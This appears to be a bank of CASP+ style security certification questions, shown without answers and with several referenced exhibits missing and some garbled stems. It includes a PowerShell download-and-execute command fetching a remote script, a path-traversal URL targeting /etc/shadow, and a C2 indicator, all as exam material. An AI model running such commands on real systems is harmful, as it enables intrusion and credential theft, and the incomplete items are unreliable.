An organization is prioritizing efforts to remediate or mitigate risks identified during the latest assessment. For one of the risks, a full remediation was not possible, but the organization was able to successfully apply mitigations to reduce the likelihood of impact.
Which of the following should the organization perform NEXT?
As part of its risk strategy, a company is considering buying insurance for cybersecurity incidents.
Which of the following BEST describes this kind of risk response?
Over the last 90 days, many storage services has been exposed in the cloud services environments, and the security team does not have the ability to see is creating these instance. Shadow IT is creating data services and instances faster than the small security team can keep up with them. The Chief information security Officer (CIASO) has asked the security officer (CISO) has asked the security lead architect to architect to recommend solutions to this problem.
Which of the following BEST addresses the problem best address the problem with the least amount of administrative effort?
An organization wants to perform a scan of all its systems against best practice security configurations.
Which of the following SCAP standards, when combined, will enable the organization to view each of the configuration checks in a machine-readable checklist format for fill automation? (Choose two.)
A Chief Information Officer (CIO) wants to implement a cloud solution that will satisfy the following requirements:
Support all phases of the SDLC.
Use tailored website portal software.
Allow the company to build and use its own gateway software.
Utilize its own data management platform.
Continue using agent-based security tools.
Which of the following cloud-computing models should the CIO implement?
A company wants to quantify and communicate the effectiveness of its security controls but must establish measures. Which of the following is MOST likely to be included in an effective assessment roadmap for these controls?
A security analyst is reviewing the following vulnerability assessment report:
Which of the following should be patched FIRST to minimize attacks against Internet-facing hosts?
A developer implement the following code snippet.
Which of the following vulnerabilities does the code snippet resolve?
An organization is researching the automation capabilities for systems within an OT network. A security analyst wants to assist with creating secure coding practices and would like to learn about the programming languages used on the PLCs. Which of the following programming languages is the MOST relevant for PLCs?
A networking team was asked to provide secure remote access to all company employees. The team decided to use client-to-site VPN as a solution. During a discussion, the Chief Information Security Officer raised a security concern and asked the networking team to route the Internet traffic of remote users through the main office infrastructure. Doing this would prevent remote users from accessing the Internet through their local networks while connected to the VPN.
Which of the following solutions does this describe?
Ann, a CIRT member, is conducting incident response activities on a network that consists of several hundred virtual servers and thousands of endpoints and users. The network generates more than 10,000 log messages per second. The enterprise belong to a large, web-based cryptocurrency startup, Ann has distilled the relevant information into an easily digestible report for executive management . However, she still needs to collect evidence of the intrusion that caused the incident. Which of the following should Ann use to gather the required information?
A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file: powershell EX(New-Object Net.WebClient).DownloadString ('https://content.comptia.org/casp/whois.psl ');whois
Which of the following security controls would have alerted and prevented the next phase of the attack?
A security analyst at a global financial firm was reviewing the design of a cloud-based system to identify opportunities to improve the security of the architecture. The system was recently involved in a data breach after a vulnerability was exploited within a virtual machine's operating system. The analyst observed the VPC in which the system was located was not peered with the security VPC that contained the centralized vulnerability scanner due to the cloud provider's limitations. Which of the following is the BEST course of action to help prevent this situation m the near future?
A company that uses AD is migrating services from LDAP to secure LDAP. During the pilot phase, services are not connecting properly to secure LDAP. Block is an except of output from the troubleshooting session:
Which of the following BEST explains why secure LDAP is not working? (Select TWO.)
A company security engineer arrives at work to face the following scenario:
1) Website defacement
2) Calls from the company president indicating the website needs to be fixed Immediately because It Is damaging the brand
3) A Job offer from the company's competitor
4) A security analyst's investigative report, based on logs from the past six months, describing how lateral movement across the network from various IP addresses originating from a foreign adversary country resulted in exfiltrated data
Which of the following threat actors Is MOST likely involved?
A cybersecurity analyst discovered a private key that could have been exposed.
Which of the following is the BEST way for the analyst to determine if the key has been compromised?
A small business would like to provide guests who are using mobile devices encrypted WPA3 access without first distributing PSKs or other credentials. Which of the following features will enable the business to meet this objective?
A company just released a new video card. Due to limited supply and high demand, attackers are employing automated systems to purchase the device through the company's web store so they can resell it on the secondary market. The company's intended customers are frustrated. A security engineer suggests implementing a CAPTCHA system on the web store to help reduce the number of video cards purchased through automated systems. Which of the following now describes the level of risk?
A system administrator at a medical imaging company discovers protected health information (PHI) on a general-purpose file server. Which of the following steps should the administrator take NEXT?
An organization is establishing a new software assurance program to vet applications before they are introduced into the production environment, Unfortunately. many Of the applications are provided only as compiled binaries. Which Of the following should the organization use to analyze these applications? (Select TWO).
A company in the financial sector receives a substantial number of customer transaction requests via email. While doing a root-cause analysis conceding a security breach, the CIRT correlates an unusual spike in port 80 traffic from the IP address of a desktop used by a customer relations employee who has access to several of the compromised accounts. Subsequent antivirus scans of the device do not return an findings, but the CIRT finds undocumented services running on the device. Which of the following controls would reduce the discovery time for similar in the future.
Immediately following the report of a potential breach, a security engineer creates a forensic image of the server in question as part of the organization incident response procedure. Which of the must occur to ensure the integrity of the image?
An auditor needs to scan documents at rest for sensitive text. These documents contain both text and Images. Which of the following software functionalities must be enabled in the DLP solution for the auditor to be able to fully read these documents? (Select TWO).
A security analyst discovered that the company's WAF was not properly configured. The main web server was breached, and the following payload was found in one of the malicious requests:
Which of the following would BEST mitigate this vulnerability?
Which of the following technologies allows CSPs to add encryption across multiple data storages?
A company is looking at sending historical backups containing customer PII to a cloud service provider to save on storage costs. Which of the following is the MOST important consideration before making this decision?
A financial institution has several that currently employ the following controls:
* The severs follow a monthly patching cycle.
* All changes must go through a change management process.
* Developers and systems administrators must log into a jumpbox to access the servers hosting the data using two-factor authentication.
* The servers are on an isolated VLAN and cannot be directly accessed from the internal production network.
An outage recently occurred and lasted several days due to an upgrade that circumvented the approval process. Once the security team discovered an unauthorized patch was installed, they were able to resume operations within an hour. Which of the following should the security administrator recommend to reduce the time to resolution if a similar incident occurs in the future?
Given the following log snippet from a web server:
Which of the following BEST describes this type of attack?
The goal of a Chief information Security Officer (CISO) providing up-to-date metrics to a bank’s risk committee is to ensure:
A security analyst sees that a hacker has discovered some keys and they are being made available on a public website. The security analyst is then able to successfully decrypt the data using the keys from the website. Which of the following should the security analyst recommend to protect the affected data?
A security analyst wants to keep track of alt outbound web connections from workstations. The analyst's company uses an on-premises web filtering solution that forwards the outbound traffic to a perimeter firewall. When the security analyst gets the connection events from the firewall, the source IP of the outbound web traffic is the translated IP of the web filtering solution. Considering this scenario involving source NAT. which of the following would be the BEST option to inject in the HTTP header to include the real source IP from workstations?
Company A acquired Company В. During an audit, a security engineer found Company B’s environment was inadequately patched. In response, Company A placed a firewall between the two environments until Company B's infrastructure could be integrated into Company A’s security program.
Which of the following risk-handling techniques was used?
The OS on several servers crashed around the same time for an unknown reason. The servers were restored to working condition, and all file integrity was verified. Which of the following should the incident response team perform to understand the crash and prevent it in the future?
A cloud security engineer is setting up a cloud-hosted WAF. The engineer needs to implement a solution to protect the multiple websites the organization hosts. The organization websites are:
* www.mycompany.org
* www.mycompany.com
* campus.mycompany.com
* wiki. mycompany.org
The solution must save costs and be able to protect all websites. Users should be able to notify the cloud security engineer of any on-path attacks. Which of the following is the BEST solution?
A security solution uses a sandbox environment to execute zero-day software and collect indicators of compromise. Which of the following should the organization do to BEST take advantage of this solution?
A security engineer is implementing a server-side TLS configuration that provides forward secrecy and authenticated encryption with associated data. Which of the following algorithms, when combined into a cipher suite, will meet these requirements? (Choose three.)
A junior developer is informed about the impact of new malware on an Advanced RISC Machine (ARM) CPU, and the code must be fixed accordingly. Based on the debug, the malware is able to insert itself in another process ‘memory location. Which of the following technologies can the developer enable on the ARM architecture to prevent this type of malware?
A consultant needs access to a customer's cloud environment. The customer wants to enforce the following engagement requirements:
• All customer data must remain under the control of the customer at all times.
• Third-party access to the customer environment must be controlled by the customer.
• Authentication credentials and access control must be under the customer's control.
Which of the following should the consultant do to ensure all customer requirements are satisfied when accessing the cloud environment?
A security architect recommends replacing the company’s monolithic software application with a containerized solution. Historically, secrets have been stored in the application's configuration files. Which of the following changes should the security architect make in the new system?
Which of the following should be established when configuring a mobile device to protect user internet privacy, to ensure the connection is encrypted, and to keep user activity hidden? (Select TWO).
A mobile administrator is reviewing the following mobile device DHCP logs to ensure the proper mobile settings are applied to managed devices:
Which of the following mobile configuration settings is the mobile administrator verifying?
In comparison with traditional on-premises infrastructure configurations, defining ACLs in a CSP relies on:
Which of the following indicates when a company might not be viable after a disaster?
A software development company is building a new mobile application for its social media platform. The company wants to gain its users' trust by reducing the risk of on-path attacks between the mobile
client and its servers and by implementing stronger digital trust. To support users' trust, the company has released the following internal guidelines:
• Mobile clients should verify the identity of all social media servers locally.
• Social media servers should improve TLS performance of their certificate status
• Social media servers should inform the client to only use HTTPS.
Given the above requirements, which of the following should the company implement? (Select TWO).
A security analyst is using data provided from a recent penetration test to calculate CVSS scores to prioritize remediation. Which of the following metric groups would the analyst need to determine to get the overall scores? (Select THREE).
A hospitality company experienced a data breach that included customer Pll. The hacker used social engineering to convince an employee to grant a third-party application access to some company documents within a cloud file storage service. Which of the following is the BEST solution to help prevent this type of attack in the future?
A software company is developing an application in which data must be encrypted with a cipher that requires the following:
* Initialization vector
* Low latency
* Suitable for streaming
Which of the following ciphers should the company use?
An organization established an agreement with a partner company for specialized help desk services. A senior security officer within the organization Is tasked with providing documentation required to set up a dedicated VPN between the two entities. Which of the following should be required?
An organization developed a social media application that is used by customers in multiple remote geographic locations around the world. The organization’s headquarters and only datacenter are located in New York City. The Chief Information Security Officer wants to ensure the following requirements are met for the social media application:
Low latency for all mobile users to improve the users’ experience
SSL offloading to improve web server performance
Protection against DoS and DDoS attacks
High availability
Which of the following should the organization implement to BEST ensure all requirements are met?
A security architect Is analyzing an old application that is not covered for maintenance anymore because the software company is no longer in business. Which of the following techniques should have been Implemented to prevent these types of risks?
An engineering team has deployed a new VPN service that requires client certificates to be used in order to successfully connect. On iOS devices, however, the following error occurs after importing the .p12 certificate file:
mbedTLS: ca certificate undefined
Which of the following is the root cause of this issue?
A security administrator wants to detect a potential forged sender claim in tt-e envelope of an email. Which of the following should the security administrator implement? (Select TWO).
An organization is looking to establish more robust security measures by implementing PKI. Which of the following should the security analyst implement when considering mutual authentication?
Which of the following describes the system responsible for storing private encryption/decryption files with a third party to ensure these files are stored safely?
A security manager wants to transition the organization to a zero trust architecture. To meet this requirement, the security manager has instructed administrators to remove trusted zones, role-based access, and one-time authentication. Which of the following will need to be implemented to achieve this objective? (Select THREE).
A security manager has written an incident response playbook for insider attacks and is ready to begin testing it. Which of the following should the manager conduct to test the playbook?
Some end users of an e-commerce website are reporting a delay when browsing pages. The website uses TLS 1.2. A security architect for the website troubleshoots by connecting from home to the
website and capturing tramc via Wire-shark. The security architect finds that the issue is the time required to validate the certificate. Which of the following solutions should the security architect
recommend?
A company is on a deadline to roll out an entire CRM platform to all users at one time. However, the company is behind schedule due to reliance on third-party vendors. Which of the following development approaches will allow the company to begin releases but also continue testing and development for future releases?
A security analyst for a managed service provider wants to implement the most up-to-date and effective security methodologies to provide clients with the best offerings. Which of the following resources
would the analyst MOST likely adopt?
To save time, a company that is developing a new VPN solution has decided to use the OpenSSL library within Its proprietary software. Which of the following should the company consider to maximize risk reduction from vulnerabilities introduced by OpenSSL?
An administrator at a software development company would like to protect the integrity of the company's applications with digital signatures. The developers report that the signing process keeps failing on all applications. The same key pair used for signing, however, is working properly on the website, is valid, and is issued by a trusted CA. Which of the following is MOST likely the cause of the
signature failing?
A security engineer has been informed by the firewall team that a specific Windows workstation is part of a command-and-control network. The only information the security engineer is receiving is that
the traffic is occurring on a non-standard port (TCP 40322). Which of the following commands should the security engineer use FIRST to find the malicious process?
A university issues badges through a homegrown identity management system to all staff and students. Each week during the summer, temporary summer school students arrive and need to be issued a badge to access minimal campus resources. The security team received a report from an outside auditor indicating the homegrown system is not consistent with best practices in the security field.
Which of the following should the security team recommend FIRST?
A systems administrator was given the following IOC to detect the presence of a malicious piece of software communicating with its command-and-control server:
post /malicious. php
User-Agent: Malicious Tool V 1.0
Host: www.rcalicious.com
The IOC documentation suggests the URL is the only part that could change. Which of the following regular expressions would allow the systems administrator to determine if any of the company hosts are compromised, while reducing false positives?
An investigator is attempting to determine if recent data breaches may be due to issues with a company's web server that offers news subscription services. The investigator has gathered the following
data:
• Clients successfully establish TLS connections to web services provided by the server.
• After establishing the connections, most client connections are renegotiated
• The renegotiated sessions use cipher suite SHR.
Which of the following is the MOST likely root cause?
A company has decided that only administrators are permitted to use PowerShell on their Windows computers. Which of the following is the BEST way for an administrator to implement this decision?
Which of the following processes involves searching and collecting evidence during an investigation or lawsuit?
Due to internal resource constraints, the management team has asked the principal security architect to recommend a solution that shifts most of the responsibility for application-level controls to the cloud provider. In the shared responsibility model, which of the following levels of service meets this requirement?
A security consultant has been asked to recommend a secure network design that would:
• Permit an existing OPC server to communicate with a new Modbus server that is controlling electrical relays.
• Limit operational disruptions.
Due to the limitations within the Modbus protocol, which of the following configurations should the security engineer recommend as part of the solution?
The Chief Information Security Officer (CISO) asked a security manager to set up a system that sends an alert whenever a mobile device enters a sensitive area of the company's data center. The CISO would also like to be able to alert the individual who is entering the area that the access was logged and monitored. Which of the following would meet these requirements?
A vulnerability scanner detected an obsolete version of an open-source file-sharing application on one of a company’s Linux servers. While the software version is no longer supported by the OSS community, the company’s Linux vendor backported fixes, applied them for all current vulnerabilities, and agrees to support the software in the future.
Based on this agreement, this finding is BEST categorized as a:
A pharmaceutical company was recently compromised by ransomware. Given the following EDR output from the process investigation:
On which of the following devices and processes did the ransomware originate?
A significant weather event caused all systems to fail over to the disaster recovery site successfully. However, successful data replication has not occurred in the last six months, which has resulted in
the service being unavailable. V•Vh1ch of the following would BEST prevent this scenario from happening again?
Which of the following BEST describes a common use case for homomorphic encryption ?
A security engineer needs to review the configurations of several devices on the network to meet the following requirements:
• The PostgreSQL server must only allow connectivity in the 10.1.2.0/24
subnet.
• The SSH daemon on the database server must be configured to listen
to port 4022.
• The SSH daemon must only accept connections from a Single
workstation.
• All host-based firewalls must be disabled on all workstations.
• All devices must have the latest updates from within the past eight
days.
• All HDDs must be configured to secure data at rest.
• Cleartext services are not allowed.
• All devices must be hardened when possible.
Instructions:
Click on the various workstations and network devices to review the posture assessment results. Remediate any possible issues or indicate that no issue is found.
Click on Server A to review output data. Select commands in the appropriate tab to remediate connectivity problems to the pOSTGREsql DATABASE VIA ssh
WAP A
PC A
Laptop A
Switch A
Switch B:
Laptop B
PC B
PC C
Server A
A security analyst has been tasked with providing key information in the risk register. Which of the following outputs or results would be used to BEST provide the information needed to determine the
security posture for a risk decision? (Select TWO).
A CSP, which wants to compete in the market, has been approaching companies in an attempt to gain business. The CSP is able to provide the same uptime as other CSPs at a markedly reduced cost. Which of the following would be the MOST significant business risk to a company that signs a contract with this CSP?
In order to save money, a company has moved its data to the cloud with a low-cost provider. The company did not perform a security review prior to the move; however, the company requires all of its data to be stored within the country where the headquarters is located. A new employee on the security team has been asked to evaluate the current provider against the most important requirements. The current cloud provider that the company is using offers:
• Only multitenant cloud hosting
• Minimal physical security
• Few access controls
• No access to the data center
The following information has been uncovered:
• The company is located in a known floodplain, which flooded last year.
• Government regulations require data to be stored within the country.
Which of the following should be addressed first?
A SaaS startup is maturing its DevSecOps program and wants to identify weaknesses earlier in the development process in order to reduce the average time to identify serverless application vulnerabilities and the costs associated with remediation The startup began its early security testing efforts with DAST to cover public-facing application components and recently implemented a bug bounty program Which of the following will BEST accomplish the company's objectives?
A small bank is evaluating different methods to address and resolve the following requirements
" Must be able to store credit card data using the smallest amount of data possible
• Must be compliant with PCI DSS
• Must maintain confidentiality if one piece of the layer is compromised
Which of the following is the best solution for the bank?
A security engineer receives reports through the organization's bug bounty program about remote code execution in a specific component in a custom application. Management wants to properly secure the component and proactively avoid similar issues. Which of the following is the best approach to uncover additional vulnerable paths in the application?
A company reviews the regulatory requirements associated with a new product, and then company management elects to cancel production. Which of the following risk strategies is the company using in this scenario?
An ASIC manufacturer wishing to best reduce downstream supply chain risk can provide validation instructions for consumers that:
A company's software developers have indicated that the security team takes too long to perform application security tasks. A security analyst plans to improve the situation by implementing security into the SDLC. The developers have the following requirements:
1. The solution must be able to initiate SQL injection and reflected XSS attacks.
2. The solution must ensure the application is not susceptible to memory leaks.
Which of the following should be implemented to meet these requirements? (Select two).
After a cybersecurity incident, a judge found that a company did not conduct a proper forensic investigation. The company was ordered to pay penalties. Which of the following forensic steps would be best to prevent this from happening again?
Which of the following describes how a risk assessment is performed when an organization has a critical vendor that provides multiple products?
A web application server is running a legacy operating system with an unpatched RCE (Remote Code Execution) vulnerability. The server cannot be upgraded until the corresponding application code is updated. Which of the following compensating controls would prevent successful exploitation?
in a situation where the cost of anti-malware exceeds the potential loss from a malware threat, which of the following is the most cost-effective risk response?
A security team is concerned with attacks that are taking advantage of return-oriented programming against the company's public-facing applications. Which of the following should the company implement on the public-facing servers?
A security analyst received a report that a suspicious flash drive was picked up in the office's waiting area, located beyond the secured door. The analyst investigated the drive and found malware designed to harvest and transmit credentials. Security cameras in the area where the flash drive was discovered showed a vendor representative dropping the drive. Which of the following should the analyst recommend as an additional way to identify anyone who enters the building, in the event the camera system fails?
A security review of the architecture for an application migration was recently completed. The following observations were made:
• External inbound access is blocked.
• A large amount of storage is available.
• Memory and CPU usage are low.
• The load balancer has only a single server assigned.
• Multiple APIs are integrated.
Which of the following needs to be addressed?
A company purchased Burp Suite licenses this year for each application security engineer. The engineers have used Burp Suite to identify several issues with the company’s SaaS application. In the upcoming year, the Chief Information Security Officer would like to purchase additional tools to protect the SaaS product. Which of the following is the best option?
Application owners are reporting performance issues with traffic using port 1433 from the cloud environment. A security administrator has various pcap files to analyze the data between the related source and destination servers. Which of the following tools should be used to help troubleshoot the issue?
After a server was compromised an incident responder looks at log files to determine the attack vector that was used The incident responder reviews the web server log files from the time before an unexpected SSH session began:
Which of the following is the most likely vulnerability that was exploited based on the log files?
An administrator completed remediation for all the findings of a penetration test and notifies the management team that the systems are ready to be placed back into production. Which of the following steps should the management team require the analyst to perform immediately before placing the systems back into production?
A company with multiple locations has taken a cloud-only approach to its infrastructure The company does not have standard vendors or systems resulting in a mix of various solutions put in place by each location The Chief Information Security Officer wants to ensure that the internal security team has visibility into all platforms Which of the following best meets this objective?
A Chief Information Security Officer (CISO) reviewed data from a cyber exercise that examined all aspects of the company's response plan. Which of the following best describes what the CISO reviewed?
An internal security assessor identified large gaps in a company's IT asset inventory system during a monthly asset review. The assessor is aware of an external audit that is underway. In an effort to avoid external findings, the assessor chooses not to report the gaps in the inventory system. Which of the following legal considerations is the assessor directly violating?
An IT department is currently working to implement an enterprise DLP solution. Due diligence and best practices must be followed in regard to mitigating risk. Which of the following ensures that authorized modifications are well planned and executed?
A junior security researcher has identified a buffer overflow vulnerability leading to remote code execution in a former employer's software. The security researcher asks for the manager's advice on the vulnerability submission process. Which of the following is the best advice the current manager can provide the security researcher?
During a recent breach, an attacker was able to get a user's login credentials by cracking a password that was retrieved via a stolen laptop. The attacker accessed the hashed passwords from the hard drive when it was connected to another device. Which of the following security measures could have helped prevent this account from being compromised?
A company has integrated source code from a subcontractor into its security product. The subcontractor is located in an adversarial country and has informed the company of a requirement to escrow the source code with the subcontractor’s government. Which of the following is a potential security risk arising from this situation?
A company has a website with a huge database. The company wants to ensure that a DR site could be brought online quickly in the event of a failover, and end users would miss no more than 30 minutes of data. Which of the following should the company do to meet these objectives?
A software developer needs to add an authentication method to a web application. The following requirements must be met:
• The web application needs to use well-supported standards.
• The initial login to the web application should rely on an outside, trusted third party.
• The login needs to be maintained for up to six months.
Which of the following would best support these requirements? (Select two).
An organization needs to classify its systems and data in accordance with external requirements. Which of the following roles is best qualified to perform this task?
A security engineer is implementing DLP. Which of the following should the security engineer include in the overall DLP strategy?
A security engineer is assessing a legacy server and needs to determine if FTP is running and on which port The service cannot be turned off, as it would impact a critical application's ability to function. Which of the following commands would provide the information necessary to create a firewall rule to prevent that service from being exploited?
A security engineer needs to implement a cost-effective authentication scheme for a new web-based application that requires:
•Rapid authentication
•Flexible authorization
•Ease of deployment
•Low cost but high functionality
Which of the following approaches best meets these objectives?
Based on a recent security audit, a company discovered the perimeter strategy is inadequate for its recent growth. To address this issue, the company is looking for a solution that
includes the following requirements:
• Collapse of multiple network security technologies into a single footprint
• Support for multiple VPNs with different security contexts
• Support for application layer security (Layer 7 of the OSI Model)
Which of the following technologies would be the most appropriate solution given these requirements?
A DNS forward lookup zone named complia.org must:
• Ensure the DNS is protected from on-path attacks.
• Ensure zone transfers use mutual authentication and are authenticated and negotiated.
Which of the following should the security architect configure to meet these requirements? (Select two).
Which of the following should an organization implement to prevent unauthorized API key sharing?
A security administrator needs to recommend an encryption protocol after a legacy stream cipher was deprecated when a security flaw was discovered. The legacy cipher excelled at maintaining strong cryptographic security and provided great performance for a streaming video service. Which of the following AES modes should the security administrator recommend given these requirements?
When managing and mitigating SaaS cloud vendor risk, which of the following responsibilities belongs to the client?
The IT team suggests the company would save money by using self-signed certificates, but the security team indicates the company must use digitally signed third-party certificates. Which of the following is a valid reason to pursue the security team's recommendation?
An energy company is required to report the average pressure of natural gas used over the past quarter. A PLC sends data to a historian server that creates the required reports.
Which of the following historian server locations will allow the business to get the required reports in an ОТ and IT environment?
The primary advantage of an organization creating and maintaining a vendor risk registry is to:
A company has hired a security architect to address several service outages on the endpoints due to new malware. The Chief Executive Officer’s laptop was impacted while working from home. The goal is to prevent further endpoint disruption. The edge network is protected by a web proxy.
Which of the following solutions should the security architect recommend?
A network administrator who manages a Linux web server notices the following traffic:
http://corr.ptia.org/.../.../.../... /etc./shadow
Which of the following Is the BEST action for the network administrator to take to defend against this type of web attack?
A security engineer estimates the company’s popular web application experiences 100 attempted breaches per day. In the past four years, the company’s data has been breached two times.
Which of the following should the engineer report as the ARO for successful breaches?
A company is moving most of its customer-facing production systems to the cloud-facing production systems to the cloud. IaaS is the service model being used. The Chief Executive Officer is concerned about the type of encryption available and requires the solution must have the highest level of security.
Which of the following encryption methods should the cloud security engineer select during the implementation phase?
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Which of the following is a benefit of using steganalysis techniques in forensic response?
A company undergoing digital transformation is reviewing the resiliency of a CSP and is concerned about meeting SLA requirements in the event of a CSP incident.
Which of the following would be BEST to proceed with the transformation?
An organization is implementing a new identity and access management architecture with the following objectives:
Supporting MFA against on-premises infrastructure
Improving the user experience by integrating with SaaS applications
Applying risk-based policies based on location
Performing just-in-time provisioning
Which of the following authentication protocols should the organization implement to support these requirements?
A security engineer has been asked to close all non-secure connections from the corporate network. The engineer is attempting to understand why the corporate UTM will not allow users to download email via IMAPS. The engineer formulates a theory and begins testing by creating the firewall ID 58, and users are able to download emails correctly by using IMAP instead. The network comprises three VLANs:
The security engineer looks at the UTM firewall rules and finds the following:
Which of the following should the security engineer do to ensure IMAPS functions properly on the corporate user network?
A security architect works for a manufacturing organization that has many different branch offices. The architect is looking for a way to reduce traffic and ensure the branch offices receive the latest copy of revoked certificates issued by the CA at the organization’s headquarters location. The solution must also have the lowest power requirement on the CA.
Which of the following is the BEST solution?
Which of the following allows computation and analysis of data within a ciphertext without knowledge of the plaintext?
A company's Chief Information Officer wants to Implement IDS software onto the current system's architecture to provide an additional layer of security. The software must be able to monitor system activity, provide Information on attempted attacks, and provide analysis of malicious activities to determine the processes or users Involved. Which of the following would provide this information?
An e-commerce company is running a web server on premises, and the resource utilization is usually less than 30%. During the last two holiday seasons, the server experienced performance issues because of too many connections, and several customers were not able to finalize purchase orders. The company is looking to change the server configuration to avoid this kind of performance issue.
Which of the following is the MOST cost-effective solution?
An organization's finance system was recently attacked. A forensic analyst is reviewing the contents Of the compromised files for credit card data.
Which of the following commands should the analyst run to BEST determine whether financial data was lost?
A small business requires a low-cost approach to theft detection for the audio recordings it produces and sells.
Which of the following techniques will MOST likely meet the business’s needs?
An organization is preparing to migrate its production environment systems from an on-premises environment to a cloud service. The lead security architect is concerned that the organization's current methods for addressing risk may not be possible in the cloud environment.
Which of the following BEST describes the reason why traditional methods of addressing risk may not be possible in the cloud?
A security analyst is investigating a possible buffer overflow attack. The following output was found on a user’s workstation:
graphic.linux_randomization.prg
Which of the following technologies would mitigate the manipulation of memory segments?
A SOC analyst is reviewing malicious activity on an external, exposed web server. During the investigation, the analyst determines specific traffic is not being logged, and there is no visibility from the WAF for the web application.
Which of the following is the MOST likely cause?
A company publishes several APIs for customers and is required to use keys to segregate customer data sets.
Which of the following would be BEST to use to store customer keys?
Which of the following are risks associated with vendor lock-in? (Choose two.)
A security analyst is concerned that a malicious piece of code was downloaded on a Linux system. After some research, the analyst determines that the suspected piece of code is performing a lot of input/output (I/O) on the disk drive.
Based on the output above, from which of the following process IDs can the analyst begin an investigation?
In preparation for the holiday season, a company redesigned the system that manages retail sales and moved it to a cloud service provider. The new infrastructure did not meet the company’s availability requirements. During a postmortem analysis, the following issues were highlighted:
1. International users reported latency when images on the web page were initially loading.
2. During times of report processing, users reported issues with inventory when attempting to place orders.
3. Despite the fact that ten new API servers were added, the load across servers was heavy at peak times.
Which of the following infrastructure design changes would be BEST for the organization to implement to avoid these issues in the future?
A network architect is designing a new SD-WAN architecture to connect all local sites to a central hub site. The hub is then responsible for redirecting traffic to public cloud and datacenter applications. The SD-WAN routers are managed through a SaaS, and the same security policy is applied to staff whether working in the office or at a remote location. The main requirements are the following:
1. The network supports core applications that have 99.99% uptime.
2. Configuration updates to the SD-WAN routers can only be initiated from the management service.
3. Documents downloaded from websites must be scanned for malware.
Which of the following solutions should the network architect implement to meet the requirements?
During a remodel, a company’s computer equipment was moved to a secure storage room with cameras positioned on both sides of the door. The door is locked using a card reader issued by the security team, and only the security team and department managers have access to the room. The company wants to be able to identify any unauthorized individuals who enter the storage room by following an authorized employee.
Which of the following processes would BEST satisfy this requirement?
A company created an external application for its customers. A security researcher now reports that the application has a serious LDAP injection vulnerability that could be leveraged to bypass authentication and authorization.
Which of the following actions would BEST resolve the issue? (Choose two.)
A company plans to build an entirely remote workforce that utilizes a cloud-based infrastructure. The Chief Information Security Officer asks the security engineer to design connectivity to meet the following requirements:
Only users with corporate-owned devices can directly access servers hosted by the cloud provider.
The company can control what SaaS applications each individual user can access.
User browser activity can be monitored.
Which of the following solutions would BEST meet these requirements?
An organization recently started processing, transmitting, and storing its customers’ credit card information. Within a week of doing so, the organization suffered a massive breach that resulted in the exposure of the customers’ information.
Which of the following provides the BEST guidance for protecting such information while it is at rest and in transit?
A vulnerability analyst identified a zero-day vulnerability in a company’s internally developed software. Since the current vulnerability management system does not have any checks for this vulnerability, an engineer has been asked to create one.
Which of the following would be BEST suited to meet these requirements?
A security analyst discovered that the company’s WAF was not properly configured. The main web server was breached, and the following payload was found in one of the malicious requests:
Which of the following would BEST mitigate this vulnerability?
An organization recently experienced a ransomware attack. The security team leader is concerned about the attack reoccurring. However, no further security measures have been implemented.
Which of the following processes can be used to identify potential prevention recommendations?
An application server was recently upgraded to prefer TLS 1.3, and now users are unable to connect their clients to the server. Attempts to reproduce the error are confirmed, and clients are reporting the following:
ERR_SSL_VERSION_OR_CIPHER_MISMATCH
Which of the following is MOST likely the root cause?
Due to locality and budget constraints, an organization’s satellite office has a lower bandwidth allocation than other offices in the organization. As a result, the local security infrastructure staff is assessing architectural options that will help preserve network bandwidth and increase speed to both internal and external resources while not sacrificing threat visibility.
Which of the following would be the BEST option to implement?
A security analyst notices a number of SIEM events that show the following activity:
Which of the following response actions should the analyst take FIRST?
A university issues badges through a homegrown identity management system to all staff and students. Each week during the summer, temporary summer school students arrive and need to be issued a badge to access minimal campus resources. The security team received a report from an outside auditor indicating the homegrown system is not consistent with best practices in the security field and leaves the institution vulnerable.
Which of the following should the security team recommend FIRST?
A Chief Information Officer is considering migrating all company data to the cloud to save money on expensive SAN storage.
Which of the following is a security concern that will MOST likely need to be addressed during migration?
A security analyst is researching containerization concepts for an organization. The analyst is concerned about potential resource exhaustion scenarios on the Docker host due to a single application that is overconsuming available resources.
Which of the following core Linux concepts BEST reflects the ability to limit resource allocation to containers?
Which of the following terms refers to the delivery of encryption keys to a CASB or a third-party entity?
Device event logs sources from MDM software as follows:
Which of the following security concerns and response actions would BEST address the risks posed by the device in the logs?
A systems administrator is in the process of hardening the host systems before connecting to the network. The administrator wants to add protection to the boot loader to ensure the hosts are secure before the OS fully boots.
Which of the following would provide the BEST boot loader protection?
An organization is planning for disaster recovery and continuity of operations.
INSTRUCTIONS
Review the following scenarios and instructions. Match each relevant finding to the affected host.
After associating scenario 3 with the appropriate host(s), click the host to select the appropriate corrective action for that finding.
Each finding may be used more than once.
If at any time you would like to bring back the initial state of the simul-ation, please click the Reset All button.
An organization is considering a BYOD standard to support remote working. The first iteration of the solution will utilize only approved collaboration applications and the ability to move corporate data between those applications. The security team has concerns about the following:
Unstructured data being exfiltrated after an employee leaves the organization
Data being exfiltrated as a result of compromised credentials
Sensitive information in emails being exfiltrated
Which of the following solutions should the security team implement to mitigate the risk of data loss?
A small company recently developed prototype technology for a military program. The company’s security engineer is concerned about potential theft of the newly developed, proprietary information.
Which of the following should the security engineer do to BEST manage the threats proactively?
A security architect is implementing a web application that uses a database back end. Prior to the production, the architect is concerned about the possibility of XSS attacks and wants to identify security controls that could be put in place to prevent these attacks.
Which of the following sources could the architect consult to address this security concern?
A threat hunting team receives a report about possible APT activity in the network.
Which of the following threat management frameworks should the team implement?
A satellite communications ISP frequently experiences outages and degraded modes of operation over one of its legacy satellite links due to the use of deprecated hardware and software. Three days per week, on average, a contracted company must follow a checklist of 16 different high-latency commands that must be run in serial to restore nominal performance. The ISP wants this process to be automated.
Which of the following techniques would be BEST suited for this requirement?
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